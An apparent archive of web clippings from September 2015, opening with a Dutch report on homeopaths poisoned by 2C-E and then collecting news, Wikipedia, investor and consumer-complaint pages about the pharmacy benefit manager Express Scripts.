Tijdens een symposium voor homeopaten en naturopaten nabij Hamburg in Duitsland, is een 'medisch' experiment serieus mis gelopen. De deelnemers wensten de werking en bijwerkingen van een pil te bestuderen door het allemaal zelf in te nemen, maar 29 van hen werden misselijk, begonnen te hallucineren en liepen verdwaasd door het dorp rond.In het ziekenhuis werd naderhand vastgesteld dat ze allemaal 2C-E in hun bloed hadden, een verboden product afgeleid van amfetamine en met effecten zoals LSD.Het is nog niet duidelijk of de deelnemers of organisatoren zich bewust waren dat de pilletjes 2C-E bevatten of niet. De politie onderzoekt nog of de organisatoren bewust 2C-E verdeelden, of dat een externe persoon de studie-pillen vervangen had met de drugIn ieder geval, het toont duidelijk aan dat de kwaliteitswaarborging van dergelijke homeopathische studies en/of dat de ethische standaard van de organisatoren ervan lamentabel is. Annotaties:
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Report Says Medication Use Is Rising for Adults With Attention Disorder - The New York Times
Wed, 09 Sep 2015 15:48
The number of young American adults taking medications for attention deficit hyperactivity disorder nearly doubled from 2008 to 2012, according to a report to be released Wednesday by the nation's largest prescription drug manager.
The drug manager, Express Scripts, which processes prescriptions for 90 million Americans, also found that almost one in 10 adolescent boys were taking medications for the disorder, usually stimulants such as Adderall or Concerta.
Some experts said the report provided the clearest evidence to date that the disorder is being diagnosed and treated with medication in children far beyond reasonable rates, and that steeply rising diagnoses among adults might portend similar problems. These drugs can temper hallmark symptoms like severe inattention and hyperactivity but also carry risks like sleep deprivation, appetite suppression and, more rarely, addiction and hallucinations.
In examining actual prescriptions filled, the report also strongly corroborated data from several government surveys that many prominent mental health experts had discredited for relying on parents' recollections of their children's health care.
''It's hard to dismiss the data in this report,'' said Brooke Molina, an associate professor of psychiatry at the University of Pittsburgh School of Medicine and one of the disorder's leading researchers. ''There are limitations with every study, but it's hard to do anything here but conclude that we have a continually forward-marching increase.''
Dr. Lawrence Diller, a behavioral pediatrician in Walnut Creek, Calif., said that he hoped the Express Scripts report would extinguish questions of how many children are taking A.D.H.D. medications, and direct attention toward possible solutions.
''How long will experts' heads remain in the sand on this epidemic?'' Dr. Diller said.
Express Scripts, which is based in St. Louis, said it analyzed a nationally representative sample of 400,000 people ages 4 to 64 who filled at least one prescription for an A.D.H.D. medication from 2008 to 2012.
Medications included stimulants like Adderall and Concerta, as well as newer nonstimulant formulations such as Strattera. Express Scripts reported that the number of American adults receiving prescriptions for A.D.H.D. drugs had risen 53 percent, to an estimated 2.6 million in 2012 from 1.7 million in 2008. Use among young adults ages 26 to 34 almost doubled, to 640,000 from 340,000, during the four years.
Several mental health experts ascribed the steep rises among adults to better medical and societal understanding that the disorder affects more than just children. Some studies estimate that about 10 million adults have it, suggesting that medication use still has plenty of room to grow.
''We still know that a majority of adults with A.D.H.D. are untreated,'' said Dr. Lenard A. Adler, director of the adult A.D.H.D. program at NYU Langone Medical Center.
Paula Rudofsky, a 56-year-old resident of Chappaqua, N.Y., was among the adults who received a diagnosis of the disorder and began taking Adderall in 2010. ''We always felt that it was something for children,'' she said. ''It's almost a relief to be told there's something you can do to help.''
Express Scripts reported that use of medication among children, already much higher than among adults, rose less '-- about 19 percent over the four years '-- but still reached levels that many experts found troublesome.
In 2012, 5.7 percent of all children ages 4 to 18 were being prescribed A.D.H.D. medications, 7.8 percent of boys and 3.5 percent of girls. (More boys receive the diagnosis because they tend to appear more hyperactive.) Among adolescents 12 to 18, however, the rates reached 9.3 percent of boys and 4.4 percent of girls.
Adjusting for age ranges and insurance coverage, these rates and others confirm those reported last year by the federal Centers for Disease Control and Prevention through its telephone survey of 76,000 parents nationwide. While some onlookers said those data demonstrated overmedication of the condition in children, most influential experts dismissed the evidence as lacking scientific rigor.
An article published by the American Medical Association stated that such studies ''overestimate true prevalence'' of A.D.H.D. diagnoses, while Dr. Sanjay Gupta of CNN reported, ''There's not a lot of value in these studies.''
In an interview last year, Dr. Peter Jensen, then of the Mayo Clinic in Rochester, Minn., said: ''Single-question surveys based on yes-no parent report are notoriously inaccurate. You simply can't make scientific statements based on them.'' In a follow-up interview on Tuesday, Dr. Jensen said that the C.D.C. survey probably was more accurate than he originally thought.
The agency had conducted similar surveys since 2003, to similar skepticism. In reporting prescriptions actually filled, however, the Express Scripts report strongly supported the C.D.C.'s data as accurate, Dr. Molina and Dr. Diller said.
Susanna Visser, the C.D.C.'s lead epidemiologist for the disorder since 2006, said that experts' consistently discrediting the agency's survey data over many years had cost the public not just understanding of the issue but also the consideration of possible solutions.
Children's inattention can be caused by many factors beyond A.D.H.D. '-- inadequate sleep, anxiety and more '-- that stimulants not only do not address, but can also exacerbate. Improper prescriptions for stimulants have fueled the sharing and selling of pills, particularly among high school and college students who use them to improve focus and perhaps achieve better grades.
A Partnership at Drugfree.org study last year reported that almost one in 10 teenagers admitted having misused or abused stimulants, with that number believed to be higher in high-pressure schools.
''It's difficult to respond to the patterns that we see if the patterns in diagnosis and medication are not taken seriously,'' Dr. Visser said, adding that she was not involved in the Express Scripts report. ''We need to look at these patterns as a whole public health need in order to appropriately respond, and not snipe over the prevalence estimates.''
Dr. Visser pointed to increasing evidence that young adults are abusing stimulants as well, with significant health costs. A report last year by the federal Substance Abuse and Mental Health Administration found that emergency room visits related to nonmedical use of stimulants among adults tripled from 2005 to 2010, to more than 22,000.
Dr. Adler said that those signs need to be heeded as increasing numbers of adults visit their doctors for A.D.H.D. evaluations.
''As we move forward, we want to make sure that people who have the disorder get the prescription,'' he said. ''And that people who don't have the disorder don't.''
A version of this article appears in print on March 12, 2014, on page A16 of the New York edition with the headline: Report Says Medication Use Is Rising for Adults With Attention Disorder.
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Board of Directors - Express-Scripts.com
Wed, 09 Sep 2015 15:56
George PazChairman of the BoardChief Executive Officer,Express ScriptsGary G. BenanavDirectorRetired Vice Chairman, New York Life Insurance CompanyMaura C. BreenDirector, Chairman of the Compensation CommitteeRetired Senior Vice President,Verizon CommunicationsWilliam J. DeLaneyDirectorPresident and Chief Executive OfficerSysco CorporationElder Granger, MD, MG, USA (Retired)DirectorPresident and Chief Executive Officer, The 5Ps LLCNicholas J. LaHowchicDirectorPresident and Chief Executive Officer, Diannic, LLCThomas P. Mac MahonDirector, Chairman of the Corporate Governance CommitteeDirector, Retired Chairman and Chief Executive Officer, Laboratory Corporation of America HoldingsDirector, Member of Compensation Committee, past Chairman of the Board of PharMericaFrank MergenthalerDirector, Chairman of the Audit CommitteeExecutive Vice President and Chief Financial Officer, Interpublic GroupWoodrow A. Myers Jr., M.D.DirectorChief Executive Officer, Corizon Health, Inc.Roderick A. PalmoreDirectorRetired Executive Vice President, General Counsel, Chief Compliance and Risk Management Officer and Secretary of General MillsWilliam L. Roper, MD, MPHDirectorDean, University of North Carolina (UNC) School of MedicineVice Chancellor of Medical AffairsChief Executive Officer, UNC Health Care SystemSeymour SternbergDirectorRetired Chairman and Chief Executive Officer, New York Life Insurance CompanyTim WentworthDirectorPresident of Express Scripts
Ripoff Report | express scripts directory of Complaints & Reviews
Wed, 09 Sep 2015 15:54
Approximately 58 Reports FoundShowing 1-25
Wondering if a report is missing? We DO NOT remove reports from our database.What's This?As the leading consumer advocacy website, our technology is being continually upgraded to handle the volume of searches from consumers, the media, the authorities and millions of others from around the world. While we are always in the process of upgrading, our search results may not return all reports. This is only temporary and intermittent. If you are an attorney helping victims, the media, or law-enforcement, please contact us to have us run a complete database search to help your case or story.
DateTitle City, State 1, Report #1231197
May 23 201506:45 PM
Express Scripts Tricare Terrible service, won't delivery meds, scary situation Pheonix ArizonaAuthor: York, NebraskaHealth Insurance: Express Scripts TricarePheonix, Arizona 2, Report #1188951
Nov 14 201404:02 PM
Express Scripts , Medco, Accredo, Express Scripts sent wrong medication to wrong patients St. Louis, MO NationwideAuthor: Olympia, WashingtonPharmacies: Express ScriptsNationwide 3, Report #1176119
Sep 11 201412:55 PM
Express Scripts Sent unwanted Rx, charged bank account and refused a return! NationwideAuthor: Olean, New YorkPharmacies: Express ScriptsNationwide 4, Report #1166831
Aug 01 201411:34 PM
Express Scripts refuses return and refund of meds ordered in error by doctors office NationwideNever give them your credit card numberAuthor: St Petersburg, FloridaPharmacies: Express ScriptsNationwide 5, Report #1165253
Jul 27 201406:14 AM
Express Scripts wants money for no service Columbus ohioAuthor: Philadelphia, PennsylvaniaMail Order Services: Basmattie SegobindInternet 6, Report #125864
Jul 21 201407:24 PM
Express Scripts Pharmacy Rip Off Dishonest Fraudulent Billing ripoff pharmacy charges my debit acct and sends out prescriptions early Bensalem, Pennsylvania *EDitor's Suggestions on how to get your money back into your bank account!AGAIN........Author: Land O Lakes, FloridaPharmacies: Express Scripts PHARMACYNationwide 7, Report #1159930
Jul 06 201405:21 PM
Express Scripts Automatically Billed Orders Without Approval InternetAuthor: Raleigh, North CarolinaPharmacies: Express ScriptsInternet 8, Report #1077225
Jun 20 201408:16 AM
Express Scripts, Humana Choice Care, QualCare-New Jersey, GHI Network Access-New York, Kentucky Humana Paying Full Price for Medicine NOT Requested, NOT paid for by insurance, Money deducted from debit card on File, Patient not Notified of Medication Change, Patient allergic to Medication St. Louis MissouriAuthor: Lexington, KentuckyPharmacies: Express Scripts, HumanaSt. Louis, Missouri 9, Report #1151765
Jun 03 201409:47 AM
Express Scripts Failed to fill quantity as ordered by Physician, Delayed and threatened to cancel order, did not return calls St. Louis MissouriAuthor: Stuart, FloridaMail Order Services: Express ScriptsSt. Louis, Missouri 10, Report #1147812
May 19 201406:31 AM
Express Scripts for TRICARE totally incompetent InternetAuthor: Waynesville, North CarolinaPharmacies: Express ScriptsInternet 11, Report #1136697
Apr 06 201408:49 AM
Express Scripts Pharmacy Medco, CuraScripts deceptive, bad serivce, unfair practices, greedy, manipulative Orlando FloridaAuthor: Sanford, FloridaPharmacies: Express Scripts PharmacyNationwide 12, Report #1136699
Apr 06 201408:09 AM
Express Scripts Extremely Dissatisfied Houston Texas NationwideAuthor: Houston, TexasDrugstores: Express ScriptsNationwide 13, Report #1130291
Mar 12 201405:21 PM
Express Scripts Express-Scripts and/or Express Scripts They demanded I pay over $350 for a prescription that was not mine St Louis MissouriAuthor: Orlando, FloridaMail Order Services: Express ScriptsSt Louis, Missouri 14, Report #1123492
Mar 01 201409:31 PM
EXPRESS SCRIPTS /MEDCO Pharmacutical Terrorist InternetExpress ScriptsAuthor: Lewisville, TexasDrugstores: EXPRESS SCRIPTSSelect State/Province 15, Report #1108649
Dec 20 201302:34 PM
Express Scripts Medco Express Scripts/Medco Should be Investigated for Extortion NationwideAuthor: Lewistown, PennsylvaniaPharmacies: Express ScriptsNationwide 16, Report #1102953
Nov 29 201309:55 AM
Express Scripts medco, walgreens mail order pharmacists almost killed me as are pretending to be Dr.s and adjusting c-2 meds to their liking texas and sub out orders in US FloridaORIGINAL LETTER TO EXPRESS SCRIPTSAuthor: Sarasota, FloridaPharmacies: Express ScriptsSarasota, Florida 17, Report #1101519
Nov 22 201302:39 PM
Express Scripts Incompetent and untimely med refil InternetAuthor: MichiganPharmacies: Express ScriptsInternet 18, Report #1100440
Nov 18 201307:33 PM
Express Scripts Payments applied to wrong billing account ID and overcharges Saint Louis MissouriAuthor: Medford, MassachusettsPharmacies: Express ScriptsSt Louis, Missouri 19, Report #1089568
Oct 04 201304:32 PM
Express Scripts Non-Professional Conduct & Inaccurate Billing Phoenix ArizonaAuthor: Mt. Home, ArkansasDrugstores: Express ScriptsPhoenix, Arizona 20, Report #1073330
Aug 05 201307:21 PM
Express Scripts Birth Control Rip Off Phoenix ArizonaAuthor: Greensboro, North CarolinaHealth Insurance: Express ScriptsPhoenix, Arizona 21, Report #1070324
Jul 26 201310:44 AM
Express Scripts - Stupidity Rules The roost (AGAIN)!! Neglegent, deceptive, manipulative, deceitful Phoenix, ArizonaAuthor: Richland, WashingtonPharmacies: Express ScriptsSelect State/Province 22, Report #1065207
Jul 08 201310:21 AM
Express Scripts ESI Watch out they raise prices with every order! Cool Valley MissouriAuthor: Glastonbury, ConnecticutPharmacies: Express ScriptsCool Valley , Missouri 23, Report #1060299
Jun 19 201307:39 AM
Express Scripts Deceptive Pricing , Price Gouging InternetAuthor: Triangle Area, North CarolinaPharmacies: Express ScriptsInternet 24, Report #1058413
Jun 11 201306:55 PM
Express Scripts Pharmacist issued a non-formulary drug without my permission InternetNot surprisedAuthor: Salinas, CaliforniaBait-and-Switch: Express ScriptsInternet 25, Report #1042589
Apr 11 201305:09 PM
Express Scripts Medco The Most Obnoxious People To Deal With Las Vegas, NevadaAuthor: Laveen, ArizonaPharmacies: Express ScriptsLas Vegas, Nevada
Top 5 biggest Obamacare insurance company scams.
Wed, 09 Sep 2015 15:53
This article was first posted March 1, 2014.
While the Patient Protection and Affordable Care Act (aka Obamacare) is a big improvement for Americans forced to buy their health insurance in the individual market, there are still a whole host of ways an insurance company can cheat you in one way or another. Here are the Top 5.
1) Excessive overhead charges
Obamacare requires health insurers to spend a minimum of 80% of the premiums collected from customers on actual medical care, and no more than 20% on executive bonuses, private jets, and other trappings of a large for-profit bureaucracy. Medicare and Medicaid spend 98% to 99% of their budget on medical care and less than 2% on administrative costs. (The Adminstrator of the Centers for Medicare and Medicaid Services makes about $165,000/year and flies commercial.) That 18% difference amounts to almost $2,900 of the $16,000 annual health premium for the average family. (Don't expect a thank you card from your health insurance company CEO for keeping the company plane in jet fuel.)
To be fair, that 20% limit on insurance company overhead is a sharp departure from the kinds of abuses seen prior to the law's enactment. For example, in 2011 Aetna had to roll back premiums for some 15,000 Connecticut residents to comply with the 20% cap. On some Aetna health plans, as little as 64% of the premiums paid were spent on health care and 36% was lost to overhead expense.
It's hoped that market forces and competitive pressures will move insurance companies to reduce their overhead expenses -- even below the 20% cap. We'll see in mid-2015 when they report their 2014 financial results.
2) Forcing you to accept inflated prices for generic drugs
Most health plans require you to purchase your prescription medications from their approved pharmacy (often a Pharmacy Benefit Manager (PBM) like Medco, ExpressScripts or CVS/Caremark.) Pharmacy Benefit Managers tend to be among the nation's least trustworthy businesses. The rap sheets (see links below) of the largest PBMs reveal long, documented histories of fraud.
The theory behind Pharmacy Benefit Managers is that by pooling the interests of a large number of drug purchasers (after its recent merger with Medco, ExpressScripts fills 1.4 billion prescriptions annually), they would be able to get volume discounts and lower prices for their members. In practice, many customers find price gouging and poor customer service.
For example, I take 3 generic medications and got prices for several pharamacies in my neighborhood for a 90-day supply of each at Goodrx.com. Here are the results.
Comparison of Prescription Drug Pricing - 90-Day SupplyLocal Pharmacy vs. ExpressScriptsMedicationLocal PharmacyPriceExpress ScriptsPriceExpress ScriptsOverchargeNo.1$12$38$26No.2$10$15$5No.3$168$572$404Total -- 90-day Supply$190$625$435Total -- Annual Cost$760$2,500$1,740There is no requirement that you use your health insurance when you need medical care. You can always just pay cash and not involve the insurance company. But if you do so, that money you spend on medical care will not count towards your in-network annual deductible.
My insurance plan has a $5,000 annual deductible and my spending for health care averages about $1,500 per year. So rather than get cheated by Express Scripts, I'll just pay cash and avoid the $1,740/year overcharge. If I have an accident or incur other medical bills that put me over my deductible, I won't get credit for the $760 I paid for my prescriptions outside of the approved, price gouging ExpressScripts pharmacy.
3) Price gouging on lab work and x-rays
I typically get some simple lab work done 3 or 4 times a year and was surprised when the doctor's office was charging double or triple what it cost to order the same tests online. (I've used MDLabTests.com and DirectLabs.com) To add insult to injury, both on-line vendors sent the samples to the same LabCorp facility as my doctor. As with prescription drugs, if you go out-of-network to perform lab work, it won't count towards your annual deductible.
I've also seen the same thing with x-rays, MRIs and other imaging services. If your insurance company isn't doing a good job negotiating prices, there may be big savings by avoiding their "approved" vendors. It pays to shop around if you don't think you'll spend enough during the year to meet your deductible.
4) Bait & Switch Colonoscopy
One of the hallmarks of Obamacare is the requirement that insurers provide preventive exams and screening tests (appropriate to age) without cost-sharing (in other words "free".)
The most expensive test on the list of required screening exams is the colonoscopy for people age 50 and over. A colonoscopy costs thousands of dollars in most markets.
In order to shave costs and increase profits, many insurers instituted a rule that if a polyp was found during the exam (happens 30% to 50% of the time), the colonoscopy would no longer be considered a screening procedure and full deductibles and co-pays would apply. To add insult to injury, polyps are typically found while the patient is sedated, so there is no way to warn him or her of the 'financial colonoscopy' that will arrive by mail in a few weeks time when they get the bill.
Google "bait & switch colonoscopy" and you'll see stories from many angry victims.
The Obama Administration issued rules saying that a free screening colonoscopy includes polyps, but since insurance is regulated by the states, it's up to your state insurance commissioner to enforce it. If you live in a Republican-controlled state that is hostile to Obamacare, the insurance commissioner may not be as aggressive in making sure that insurance companies are providing the coverage you've paid for and are entiltled to.
Washington State Insurance Commissioner on Preventative Screeningshttp://wainsurance.blogspot.com/2013/08/health-insurance-questions-preventive.html
Until fairly recently, when consumers had routine preventive colonoscopies, they often faced a substantial bill for surgery if a polyp was discovered and removed during the procedure. But current guidelines from the U.S. Department of Labor, under the Affordable Care Act, protect consumers from these extra charges for polyp removal.
If you're having problems with your health insurer over these sorts of issues and you live in Washington state, feel free to contact our consumer hotline at 1-800-562-6900 or email us.
5) Restrictive Provider Networks
With so much money being siphoned off in overhead expense, and high prices being paid for generic drugs, your insurer has to cut somewhere. A common practice is to severely restrict the number of doctors and hospitals included in your health plan's provider network and make patients travel further to get specialty care.
For example, in the Seattle area 5-star hospitals like the Univ. of Washington Medical Center and the Seattle Children's Hospital are excluded from most ACA Exchange plans. But both of these institutions accept Medicare and Medicaid. It's crazy for people to be paying thousands of dollars a year in excess overhead to a private insurer for the privilege of getting a health plan that's inferior to Medicaid.
What to conclude from these observations?
Obamacare is a huge improvement over the kinds of abuses seen in the health insurance market before the law was enacted. Ending discrimination due to pre-existing conditions and prohibiting lifetime or annual caps on medical benefits will prevent a major illness from bankrupting many people. The focus on preventative care -- making it a co-pay-free part of every health plan -- should catch many health problems early when they can be more easily treated.
However, Obamacare requires you to keep a for-profit health insurer between you and your doctor -- an insurer with a financial incentive to limit the amount of care he pays for. Health insurance remains a very opaque consumer product and the exchanges really don't allow you to see all the gotcha clauses and exceptions in the fine print. (Try getting a copy of the actual insurance policy contract before you purchase a plan. And if you request a copy of the reimbursement policy for a given medical procedure, you'll likely be told "it's proprietary".)
It's essential that you keep your insurance company and health care providers on a short leash -- otherwise it can mean a big out-of-pocket cost when you file a claim. Also, if you live in a state with a strong, consumer-focused insurance commissioner, they may be able to help if you're getting screwed.
Despite the scams, if you are a retiree currently buying your own health insurance on the individual market, you should check out the prices on Healthcare.gov. You'll likely be pleasantly surprised. The open enrollment period ends March 31, 2014.
Related Web Sites for additional information.Journal of Health Politics -- How to Think Clearly about Medicare Administrative Costs: Data Sources and Measurementhttp://www.pnhp.org/sites/default/files/Medicare_admin_costs_JHPPL.pdf
Time Magazine -- Bitter Pill: Why Medical Bills Are Killing Ushttp://healthland.time.com/2013/02/20/bitter-pill-why-medical-bills-are-killing-us/
Goodrx.com -- check drug prices at local pharmacies in your neighborhoodhttp://www.goodrx.com
Sprighealth -- innovative website serving Oreqon & Washington that allows you to shop prices for medical services.https://www.sprighealth.com/site/shopnow
Medco Settles Fraud, Kickback Charges for $155 Million, Oct. 24, 2006http://www.consumeraffairs.com/news04/2006/10/medco_settles.html
Medco settles with U.S., 20 states The pharmacy-benefits manager will pay states, including Pa., $29.3 million for switching patients' drugs.http://articles.philly.com/2004-04-27/business/25364876_1_medco-health-solutions-drug-switches-merck
CVS Caremark settles deceptive-practices complaint for $38.5 millionhttp://articles.chicagotribune.com/2008-02-15/business/0802140788_1_cvs-caremark-caremark-rx-pharmacy-benefits
Pennsylvania Attorney General Corbett Announces Multi-State Settlement With Express Scripts Inc.http://news.bio-medicine.org/?q=medicine-news-1/pennsylvania-attorney-general-corbett-announces-multi-state-settlement-with-express-scripts-inc--20298
Ripoff Report - Express-Scriptshttp://www.ripoffreport.com/reports/directory/express-scripts
½Narrow Networks½ Trigger Push-Back From State Officialshttp://www.kaiserhealthnews.org/stories/2013/november/25/states-balk-at-narrow-networks.aspx
Insurers face pressure for limiting doctor choice for ObamaCare enrolleeshttp://www.foxnews.com/politics/2014/02/06/lawmakers-step-up-pressure-on-insurers-for-restricting-doctor-choice/
Kaiser Family Foundation - Health Reform Subsidy Calculatorhttp://healthreform.kff.org/SubsidyCalculator.aspx#incomeAgeTables
Federal Register - Health Insurance Premium Tax Credithttps://www.federalregister.gov/articles/2012/05/23/2012-12421/health-insurance-premium-tax-credit
IRS - Affordable Care Act Tax Provisionshttp://www.irs.gov/uac/Affordable-Care-Act-Tax-Provisions
Express Scripts - Wikipedia, the free encyclopedia
Wed, 09 Sep 2015 15:53
Express Scripts Holding Company is a Fortune 100 company as of 2013, the 20th-largest in the United States[1] and is the largest pharmacy benefit management (PBM) organization in the United States, with 2013 revenues of $104.62 billion.[3]
Headquartered in St. Louis, Missouri, Express Scripts provides integrated pharmacy benefit management services including network-pharmacy claims processing; home delivery pharmacy services; specialty pharmacy benefit management, through its subsidiary Accredo; benefit-design consultation; drug-utilization review; formulary management; and medical and drug data analysis services to manage drug plans for health plans, self-insured employers and government agencies (both as administrator of employee benefits and public assistance programs). One of its largest clients is the United States Department of Defense's Tricare program.[4]
Express Scripts also offers pharmacy benefit management services for workers' compensation insurance programs. The program is accredited by URAC, the nation's largest accrediting body for pharmacy benefit management companies.
The company processes pharmaceutical claims for members through a network of retail pharmacies. Its own automated pharmacies dispense long-term, chronic medications-like those for diabetes or heart disease-directly to members via home delivery.[3]
History[edit]Express Scripts began in 1986 in St. Louis, Missouri as a result of a joint venture between a retail chain of more than 79 pharmacies (Medicare Glaser Inc.) and Sanus Corp. Health Systems. Express Scripts was purchased by New York Life Insurance Company in 1989 and became a publicly traded company in 1992. In 1993, Express Scripts signed on both FHP International Corp. and Maxicare Health Care and corporate clients Lockheed Corp., Service Merchandise Co., and Ingersoll-Rand Co.[5] In 1994, the company expanded its services by adding workers' compensation prescription services and reinsurance.[5] In 1994, the company announced a two-for-one stock split and in 1996, established Express Scripts Canada. The same year, the company began the annual Drug Trend Report and launched the Outcomes Symposium Conference.[6]
In April 1998, Express Scripts Inc. acquired ValueRx, the PBM business of Columbia/HCA Healthcare Corp.[5] The following year, in April 1999, the company purchased Diversified Pharmaceutical Services from SmithKline Beecham Corp for $700 million.[5] That same year, the company purchased stock in [PlanetRx.com].[5] This partnership offered members options for purchasing prescriptions and over-the-counter health products online.[5]
In 2000, the company had to write off its $165 million relationship with PlanetRx.com when the startup experienced financial difficulties.[5] In 2001, Express Scripts Inc. partnered with Merck-Medco and Advance PSC to form RxHub LLC.[5]
In late December 2006, Express Scripts made a proposal to purchase Caremark. Express Scripts lost the race to acquire Caremark to CVS Corporation, which became CVS/Caremark Corporation on March 22, 2007.[7]
In October 2007, Express Scripts acquired ConnectYourCare, and now handles FSA, HRA and HSA accounts for companies such as Suntrust, Zions Bancorporation and Allegis.[8] However, Express Scripts divested ConnectYourCare in August 2012.[8][9]
On April 13, 2009 it was announced that Indianapolis based WellPoint had reached a definitive agreement under which Saint Louis based Express Scripts purchased WellPoint's NextRx subsidiaries for $4.675 billion.[10] Express Scripts, the United States third largest PBM, closed the transaction in December 2009.[11]
In April 2012, Express Scripts completed a $29.1 billion acquisition of Medco Health Solutions.[12] The Federal Trade Commission gave formal approval on April 2, 2012 after an anti-trust investigation.[12] The acquisition positioned Express Scripts Holding Co. as the largest pharmacy benefit manager, filling 1.4 billion annual prescriptions.[12]
Express Scripts has 30,000 employees worldwide.[13] Most employees in the St. Louis area are located in its new 220,000-square-foot building. Two other buildings for employees exist, along with a Technology Innovation Center, which houses a pharmacy. The company plans expansion to add another 1,500 employees over the next five years contingent on state and local tax incentives, with the new building a $56 million project that could start later in 2013, and be completed by early 2015.[11][13]
Drug Trend Report[edit]Published annually since 1993, the Express Scripts Drug Trend Report provides detailed analysis of prescription drug costs and utilization.[5][14] Now a web-based version, the Drug Trend Report is developed and published by the Express Scripts Research & New Solutions Lab with contributors from researchers, clinicians and others.[15] This type of research is designed to understand consumer behavior relative to healthcare benefits.[16][17]
Health Decision Science[edit]Health science is the study of how people make decisions, and how to help them make better ones. Upon the merger of Express Scripts and Medco Health Solutions, the company came up with its own approach to understand its members health concerns, which it has dubbed Health Decision Science. This involves looking at three scientific disciplines: behavioral science or ''consumerology'', clinical specialization, and actionable data.[18][19][20] Because of its position between pharmacies and health care plans, Express Scripts sees 1.4 billion prescriptions a year, and it uses this information as part of its research data to create better solutions for clients and patients.[21][22][23][24][25]
Controversy[edit]Fraud allegations[edit]On August 4, 2004, New York State Attorney GeneralEliot Spitzer filed a lawsuit against Express Scripts alleging that the company had kept tens of millions of dollars in drug rebates owed to the state. The suit was filed in the New York Supreme Court in Albany County.[26] The lawsuit further claimed that Express Scripts had overstated the cost benefits of switching to certain preferred medications. In 2008 the company settled the lawsuit, agreeing to pay $9.3 million to Pennsylvania and 28 other states to resolve claims of deceptive business practices. As part of the settlement, the company also agreed to change its business practices and pay up to $200,000 in reimbursement to patients.[27]
Information breach[edit]In October 2008, the St. Louis headquarters received an anonymous letter that contained sensitive information about 75 members.[28] The extortionist stated that they would release more of similar records if the company failed to pay an unspecified amount of money. A consumer class action lawsuit against Express Scripts was brought on by John Amburgy, a Missouri man, who accused the company of negligence in protecting customer records. The case was dismissed when Amburgy failed to show how he was directly affected by the breach.[29]
References[edit]^ abc"Express Scripts Holding". Fortune. 2014. ^Express Scripts Holding Company, Yahoo! Finance^ ab"EXPRESS SCRIPTS HOLDING COMPANY FORM 10-K". Retrieved 2013-11-20. ^"We Are Express Scripts : We Never Stand Still". Phx.corporate-ir.net. Retrieved 2015-08-11. ^ abcdefghi"Express Scripts Inc.". Retrieved 2013-11-20. ^"Investor Relations - Express-Scripts.com - Corporate Milestones". Phx.corporate-ir.net. Retrieved September 29, 2012. ^"Express Scripts makes $26 billion bid for Caremark". Retrieved 2013-11-20. ^ ab"Express Scripts divesting ConnectYourCare unit". Retrieved 2013-11-20. ^"EXPRESS SCRIPTS HOLDING COMPANY FORM 8-K". Retrieved 2013-11-20. ^"Express Scripts 2009 10-K". Retrieved 2011-02-19. ^ ab"Express Scripts plans to add 1,500 jobs in north St. Louis County". St. Louis Post-Dispatch. June 20, 2013. ^ abc"Express Scripts First-Quarter Net Rose 39%, Helped by Acquisition". The Wall Street Journal. Retrieved 2013-11-20. ^ ab"Express Scripts plans to add 1,500 jobs in north St. Louis County". Retrieved 2013-11-20. ^"Generics brought down common drug prices in 2012: Express Scripts". Reuters. 2013-03-05. Retrieved 2013-11-20. ^"Spending on Basic Prescriptions Decreases". The Wall Street Journal. Retrieved 2013-11-20. ^Thomas, Katie (2013-03-18). "U.S. Drug Costs Dropped in 2012, but Rises Loom". The New York Times. Retrieved 2013-11-20. ^"Drug Trend Report". Retrieved 2013-11-20. ^"Alabama among most wasteful states in medical spending". Retrieved 2013-11-20. ^"Numbers, Numbers and More Numbers". The Wall Street Journal. Retrieved 2013-11-20. ^"Health Decision Science". Retrieved 2013-11-20. ^"How Big Data Can Catch Oxycontin Abusers and Bad Docs". Retrieved 2013-11-20. ^"Collaboration may improve medication adherence". Retrieved 2013-11-20. ^"Not taking your medication, or taking waaay too much? The data knows '...". Retrieved 2013-11-20. ^"Patient engagement's obstacle: human nature". Retrieved 2013-11-20. ^Herper, Matthew. "Does Medication Waste Cost The U.S. $418 Billion?". Forbes. Retrieved 2013-11-20. ^Raksha Shetty (2004-08-04). "Drug Benefit Company Accused of Fraud". Cbsnews.com. Retrieved 2011-02-19. ^"Pennsylvania Attorney General Corbett Announces Multi-State Settlement With Express Sc... (HARRISBURG Pa. May 27 - One of ...)". Bio-medicine.org. 2008-05-27. Retrieved 2011-02-19. ^Vamosi, R. (2008, November 6). "Extortion used in express scripts database breach".^Vijayan, J. (2009, December 3). "No harm, no foul, says judge in express script data breach case"External links[edit]
Express Scripts - Express Scripts is a fraud | Glassdoor
Wed, 09 Sep 2015 15:52
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Prescription Drug Plan Scam by Express Scripts | Consumer Watchdog
Wed, 09 Sep 2015 15:51
Consumer Complaint
6/16/2011
Companies Involved:
Express Scripts
My Express Scripts prescription plan forces me to purchase my prescription drugs EXCLUSIVELY from their company and they refuse to pay any portion of the cost if I source the drugs from another pharmacy. This enables them to charge any price they want without limitation. Consumers whose employers have contracted with Express Scripts have absolutely no protection from price goughing whatsoever. This creates a situation where you're paying for prescription benefits that you're not truly receiving and then Express Scripts is making even more money off of you by exclusively selling you drugs at uncontrolled, inflationary prices. Their website also hides the actual price of each drug until you complete a purchase transaction. Furthermore, their tactics to strong arm doctors into prescribing generic drugs demonstrate mafia-like agressiveness. The most frustrating element of this story is that current laws and regulatory measures seem to legally allow this kind of corporate scam to affect millions. Express Scripts claims to serve 36 million members. Those consumers have been robbed of their ability to choose a pharmacy of their preference based on best cost or superior service. Programs like this should be criminal rather than acceptable under the law. I'm mad as hell that no one is doing anything to limit such abuses in the insurance industry. In the future I'll vote for anyone who is willing to rein in the health care industry through better options for personally managing our own health care choices and the associated costs.
Investor Information - Investor Information - Our Company - Express-Scripts.com - Express-Scripts.com
Wed, 09 Sep 2015 15:50
Business OverviewExpress Scripts, Inc. is one of the nation's leading full-service pharmacy benefit management ("PBM") companies. The Company coordinates the distribution of outpatient pharmaceuticals through a combination of benefit management services, including retail drug card programs, Home Delivery services, formulary management programs and other clinical management programs. We also distribute a full range of injectible biopharmaceutical products directly to patients or their physicians, and provide extensive cost-management and patient-care services. We provide these types of services for clients that include health maintenance organizations, health insurers, employers, union-sponsored benefit plans, third-party administrators, workers' compensation and governmental health programs.
Founded in 1986, Express Scripts aligns its interests with those of clients and patients. Alignment of interests means that we make money when our clients and patients save money '-- when patients use more generics, choose lower-cost brand drugs and take advantage of our cost-effective Home Delivery services. Our legacy of independence means that our programs and original research benefit our clients.
Every day, we handle more than a million prescriptions through our networks of retail pharmacies and our Home Delivery facilities. On the receiving end are tens of millions of individuals who count on us and their plan sponsors to provide a sound pharmacy benefit today and into the future.
